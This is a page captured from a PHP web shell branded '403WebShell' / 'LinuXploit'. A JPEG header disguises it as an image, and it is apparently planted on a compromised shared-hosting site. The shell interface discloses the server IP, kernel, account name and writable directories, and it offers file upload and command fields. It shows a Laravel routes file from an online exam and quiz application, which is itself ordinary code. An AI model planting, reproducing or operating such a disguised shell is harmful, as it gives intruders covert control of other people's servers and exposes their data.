����JFIF��x�x����'403WebShell
403Webshell
Server IP : 66.29.137.217  /  Your IP : 18.191.54.249
Web Server : LiteSpeed
System : Linux premium294.web-hosting.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
User : gltevjme ( 1095)
PHP Version : 7.0.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/gltevjme/cbt.bofirm.com/routes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/gltevjme/cbt.bofirm.com/routes/user.php
<?php
/**
 * File name: user.php
 * Last modified: 20/07/21, 2:27 PM
 * Author: NearCraft - https://codecanyon.net/user/nearcraft
 * Copyright (c) 2021
 */

use App\Http\Controllers\User\DashboardController;
use App\Http\Controllers\User\QuizDashboardController;
use App\Http\Controllers\User\PracticeDashboardController;
use App\Http\Controllers\User\ExamDashboardController;
use App\Http\Controllers\User\PracticeController;
use App\Http\Controllers\User\QuizController;
use App\Http\Controllers\User\ProgressController;
use App\Http\Controllers\User\QuizScheduleController;
use App\Http\Controllers\User\SyllabusController;
use App\Http\Controllers\User\PracticeLessonController;
use App\Http\Controllers\User\PracticeVideoController;
use App\Http\Controllers\User\CheckoutController;
use App\Http\Controllers\User\SubscriptionController;
use App\Http\Controllers\User\PaymentController;
use App\Http\Controllers\User\ExamController;
use App\Http\Controllers\User\ExamScheduleController;

Route::middleware(['auth:sanctum', 'verified'])->group(function () {

    /*
    |--------------------------------------------------------------------------
    | Syllabus Routes
    |--------------------------------------------------------------------------
    */
    Route::get('/change-syllabus', [SyllabusController::class, 'changeSyllabus'])->name('change_syllabus');
    Route::post('/update-syllabus', [SyllabusController::class, 'updateSyllabus'])->name('update_syllabus');

    /*
    |--------------------------------------------------------------------------
    | Common Routes
    |--------------------------------------------------------------------------
    */
    Route::get('/dashboard', [DashboardController::class, 'index'])->name('user_dashboard');

    Route::get('/learn-practice', [PracticeDashboardController::class, 'learn'])->name('learn_practice');
    Route::get('/learn-practice/{category:slug}/{section}', [PracticeDashboardController::class, 'learnSection'])->name('learn_practice_section');

    Route::get('/quizzes', [QuizDashboardController::class, 'quiz'])->name('quiz_dashboard');
    Route::get('/quizzes/{type:slug}', [QuizDashboardController::class, 'quizzesByType'])->name('quizzes_by_type');
    Route::get('/fetch-quizzes-by/{type:slug}', [QuizDashboardController::class, 'fetchQuizzesByType'])->name('fetch_quizzes_by_type');
    Route::get('/live-quizzes', [QuizDashboardController::class, 'liveQuizzes'])->name('live_quizzes');
    Route::get('/fetch-live-quizzes', [QuizDashboardController::class, 'fetchLiveQuizzes'])->name('fetch_live_quizzes');

    Route::get('/exams', [ExamDashboardController::class, 'exam'])->name('exam_dashboard');
    Route::get('/exams/{type:slug}', [ExamDashboardController::class, 'examsByType'])->name('exams_by_type');
    Route::get('/fetch-exams-by/{type:slug}', [ExamDashboardController::class, 'fetchExamsByType'])->name('fetch_exams_by_type');
    Route::get('/live-exams', [ExamDashboardController::class, 'liveExams'])->name('live_exams');
    Route::get('/fetch-live-exams', [ExamDashboardController::class, 'fetchLiveExams'])->name('fetch_live_exams');

    /*
    |--------------------------------------------------------------------------
    | Payment & Checkout Routes
    |--------------------------------------------------------------------------
    */
    Route::get('/checkout/{plan}', [CheckoutController::class, 'checkout'])->name('checkout');
    Route::post('/checkout/{plan}', [CheckoutController::class, 'processCheckout'])->name('process_checkout');
    Route::get('/payment-cancelled', [CheckoutController::class, 'paymentCancelled'])->name('payment_cancelled');
    Route::get('/payment-pending', [CheckoutController::class, 'paymentPending'])->name('payment_pending');
    Route::get('/payment-success', [CheckoutController::class, 'paymentSuccess'])->name('payment_success');
    Route::get('/payment-failed', [CheckoutController::class, 'paymentFailed'])->name('payment_failed');

    Route::post('/callbacks/razorpay', [CheckoutController::class, 'handleRazorpayPayment'])->name('razorpay_callback');
    Route::post('/callbacks/paypal', [CheckoutController::class, 'handlePayPalPayment'])->name('paypal_callback');

    Route::get('/subscriptions', [SubscriptionController::class, 'index'])->name('user_subscriptions');
    Route::post('/cancel-subscription/{id}', [SubscriptionController::class, 'cancelSubscription'])->name('cancel_my_subscription');
    Route::get('/payments', [PaymentController::class, 'index'])->name('user_payments');
    Route::get('/download-invoice/{id}', [PaymentController::class, 'downloadInvoice'])->name('download_invoice');

    /*
    |--------------------------------------------------------------------------
    | Practice Video Routes
    |--------------------------------------------------------------------------
    */
    Route::get('/videos/{category:slug}/{section:slug}/{skill}', [PracticeVideoController::class, 'skillVideos'])->name('skill_videos');
    Route::get('/fetch-practice-videos/{category:slug}/{section:slug}/{skill}', [PracticeVideoController::class, 'fetchPracticeVideos'])->name('fetch_practice_videos');
    Route::get('/watch/{category:slug}/{section:slug}/{skill}/watch', [PracticeVideoController::class, 'watchVideos'])->name('watch_videos');

    /*
    |--------------------------------------------------------------------------
    | Practice Lesson Routes
    |--------------------------------------------------------------------------
    */
    Route::get('/lessons/{category:slug}/{section:slug}/{skill}', [PracticeLessonController::class, 'skillLessons'])->name('skill_lessons');
    Route::get('/fetch-practice-lessons/{category:slug}/{section:slug}/{skill}', [PracticeLessonController::class, 'fetchPracticeLessons'])->name('fetch_practice_lessons');
    Route::get('/lessons/{category:slug}/{section:slug}/{skill}/read', [PracticeLessonController::class, 'readLessons'])->name('read_lessons');

    /*
    |--------------------------------------------------------------------------
    | Practice Set Routes
    |--------------------------------------------------------------------------
    */
    Route::get('practice/{category:slug}/{section:slug}/{skill}/practice-sets', [PracticeController::class, 'practiceSets'])->name('skill_practice_sets');
    Route::get('/fetch-practice-sets/{category:slug}/{section:slug}/{skill}', [PracticeController::class, 'fetchPracticeSets'])->name('fetch_practice_sets');

    Route::get('/practice/{practiceSet:slug}/init', [PracticeController::class, 'initPracticeSet'])->name('init_practice_set');
    Route::get('/practice/{practiceSet:slug}/{session}', [PracticeController::class, 'goToPractice'])->name('go_to_practice');
    Route::get('/practice/{practiceSet:slug}/questions/{session}', [PracticeController::class, 'getPracticeQuestions'])->name('fetch_practice_questions');
    Route::post('/check_practice_answer/{practiceSet:slug}/{session}', [PracticeController::class, 'checkAnswer'])->name('check_practice_answer');
    Route::get('/practice/{practiceSet:slug}/analysis/{session}', [PracticeController::class, 'analysis'])->name('get_practice_session_analysis');
    Route::post('/practice/{practiceSet:slug}/analysis/{session}', [PracticeController::class, 'analysis'])->name('practice_session_analysis');
    Route::post('/practice/{practiceSet:slug}/finish/{session}', [PracticeController::class, 'finish'])->name('finish_practice_session');
    Route::get('/practice/{practiceSet:slug}/solutions/{session}', [PracticeController::class, 'solutions'])->name('fetch_practice_set_solutions');

    /*
    |--------------------------------------------------------------------------
    | User Quiz Routes
    |--------------------------------------------------------------------------
    */
    Route::get('/quiz/{quiz:slug}/instructions', [QuizController::class, 'instructions'])->name('quiz_instructions');
    Route::get('/quiz/{quiz:slug}/init', [QuizController::class, 'initQuiz'])->name('init_quiz');

    Route::get('/quiz/{quiz:slug}/{schedule}/instructions', [QuizScheduleController::class, 'instructions'])->name('quiz_schedule_instructions');
    Route::get('/quiz/{quiz:slug}/{schedule}/init', [QuizScheduleController::class, 'initQuizSchedule'])->name('init_quiz_schedule');

    Route::get('/quiz/{quiz:slug}/{session}', [QuizController::class, 'goToQuiz'])->name('go_to_quiz');
    Route::get('/quiz/{quiz:slug}/questions/{session}', [QuizController::class, 'getQuizQuestions'])->name('fetch_quiz_questions');
    Route::post('/update_quiz_answer/{quiz:slug}/{session}', [QuizController::class, 'updateAnswer'])->name('update_quiz_answer');
    Route::post('/quiz/{quiz:slug}/finish/{session}', [QuizController::class, 'finish'])->name('finish_quiz_session');
    Route::get('/quiz/{quiz:slug}/thank-you/{session}', [QuizController::class, 'thankYou'])->name('quiz_thank_you');
    Route::get('/quiz/{quiz:slug}/results/{session}', [QuizController::class, 'results'])->name('quiz_results');
    Route::get('/quiz/{quiz:slug}/solutions/{session}', [QuizController::class, 'solutions'])->name('quiz_solutions');
    Route::get('/quiz/{quiz:slug}/fetch-solutions/{session}', [QuizController::class, 'fetchSolutions'])->name('fetch_quiz_solutions');
    Route::get('/quiz/{quiz:slug}/leaderboard/{session}', [QuizController::class, 'leaderboard'])->name('quiz_leaderboard');
    Route::get('/quiz/{quiz:slug}/download-report/{session}', [QuizController::class, 'exportPDF'])->name('download_quiz_report');

    /*
    |--------------------------------------------------------------------------
    | User Exam Routes
    |--------------------------------------------------------------------------
    */
    Route::get('/exam/{exam:slug}/instructions', [ExamController::class, 'instructions'])->name('exam_instructions');
    Route::get('/exam/{exam:slug}/init', [ExamController::class, 'initExam'])->name('init_exam');

    Route::get('/exam/{exam:slug}/{schedule}/instructions', [ExamScheduleController::class, 'instructions'])->name('exam_schedule_instructions');
    Route::get('/exam/{exam:slug}/{schedule}/init', [ExamScheduleController::class, 'initExamSchedule'])->name('init_exam_schedule');

    Route::get('/exam/{exam:slug}/{session}', [ExamController::class, 'goToExam'])->name('go_to_exam');
    Route::get('/exam/{exam:slug}/questions/{session}/{section}', [ExamController::class, 'getExamSectionQuestions'])->name('fetch_exam_section_questions');
    Route::post('/update_exam_answer/{exam:slug}/{session}/{section}', [ExamController::class, 'updateAnswer'])->name('update_exam_answer');
    Route::post('/exam/{exam:slug}/finish/{session}', [ExamController::class, 'finish'])->name('finish_exam_session');
    Route::get('/exam/{exam:slug}/thank-you/{session}', [ExamController::class, 'thankYou'])->name('exam_thank_you');
    Route::get('/exam/{exam:slug}/results/{session}', [ExamController::class, 'results'])->name('exam_results');
    Route::get('/exam/{exam:slug}/solutions/{session}', [ExamController::class, 'solutions'])->name('exam_solutions');
    Route::get('/exam/{exam:slug}/fetch-solutions/{session}/section/{section}', [ExamController::class, 'fetchSolutions'])->name('fetch_exam_solutions');
    Route::get('/exam/{exam:slug}/leaderboard/{session}', [ExamController::class, 'leaderboard'])->name('exam_leaderboard');
    Route::get('/exam/{exam:slug}/download-report/{session}', [ExamController::class, 'exportPDF'])->name('download_exam_report');

    /*
    |--------------------------------------------------------------------------
    | User Progress Routes
    |--------------------------------------------------------------------------
    */
    Route::get('/my-progress', [ProgressController::class, 'myProgress'])->name('my_progress');
    Route::get('/my-practice', [ProgressController::class, 'myPractice'])->name('my_practice');
    Route::get('/my-exams', [ProgressController::class, 'myExams'])->name('my_exams');
    Route::get('/my-quizzes', [ProgressController::class, 'myQuizzes'])->name('my_quizzes');
});

Youez - 2016 - github.com/yon3zu
LinuXploit